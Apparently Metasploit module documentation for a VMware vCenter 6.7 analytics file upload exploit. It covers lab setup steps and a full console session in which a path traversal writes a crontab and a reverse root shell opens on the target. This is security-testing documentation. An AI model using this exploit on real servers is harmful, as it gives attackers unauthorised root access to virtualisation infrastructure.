## Vulnerable Application

### Setup

Follow [VMware's official documentation] or the unorthodox steps below.

1. Download ISO
1. Extract OVA from ISO
1. Import OVA
1. Boot VM
1. Set root password in console
1. Complete setup at <https://change-this-to-your-target-host:5480/>
1. _Ensure that [CEIP is enabled]_
1. **(Optional)** Upgrade to desired patch level

Initialization may take a while before the target is exploitable.

[VMware's official documentation]: https://docs.vmware.com/en/VMware-vSphere/6.7/com.vmware.vcenter.install.doc/GUID-8DC3866D-5087-40A2-8067-1361A2AF95BD.html
[CEIP is enabled]: https://docs.vmware.com/en/VMware-vSphere/6.7/com.vmware.vsphere.vcenterhost.doc/GUID-F97CD334-CD4A-4592-B7B1-43A49CF74F39.html

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Scenarios

### VMware vCenter Server 6.7 Update 3n (Linux appliance)

```
msf > use exploit/linux/http/vmware_vcenter_analytics_file_upload
[*] Using configured payload cmd/unix/reverse_perl_ssl
msf exploit(linux/http/vmware_vcenter_analytics_file_upload) > options

Module options (exploit/linux/http/vmware_vcenter_analytics_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl_ssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf exploit(linux/http/vmware_vcenter_analytics_file_upload) > set rhosts 172.16.57.2
rhosts => 172.16.57.2
msf exploit(linux/http/vmware_vcenter_analytics_file_upload) > set lhost 172.16.57.1
lhost => 172.16.57.1
msf exploit(linux/http/vmware_vcenter_analytics_file_upload) > run

[*] Started reverse SSL handler on 172.16.57.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. CEIP is fully enabled.
[*] Creating path traversal
[+] Successfully created path traversal
[*] Executing cmd/unix/reverse_perl_ssl (Unix Command)
[*] Writing system crontab: /etc/cron.d/GWjzDiAN.json
[+] Successfully wrote system crontab
[!] Please wait up to 63 seconds for a session
[*] Command shell session 1 opened (172.16.57.1:4444 -> 172.16.57.2:42868) at 2021-10-06 16:23:06 -0500

id
uid=0(root) gid=0(root) groups=0(root),1000(vami),4044(shellaccess),59005(coredump)
uname -a
Linux photon-machine 4.4.250-1.ph1 #1-photon SMP Fri Jan 15 03:01:15 UTC 2021 x86_64 GNU/Linux
```
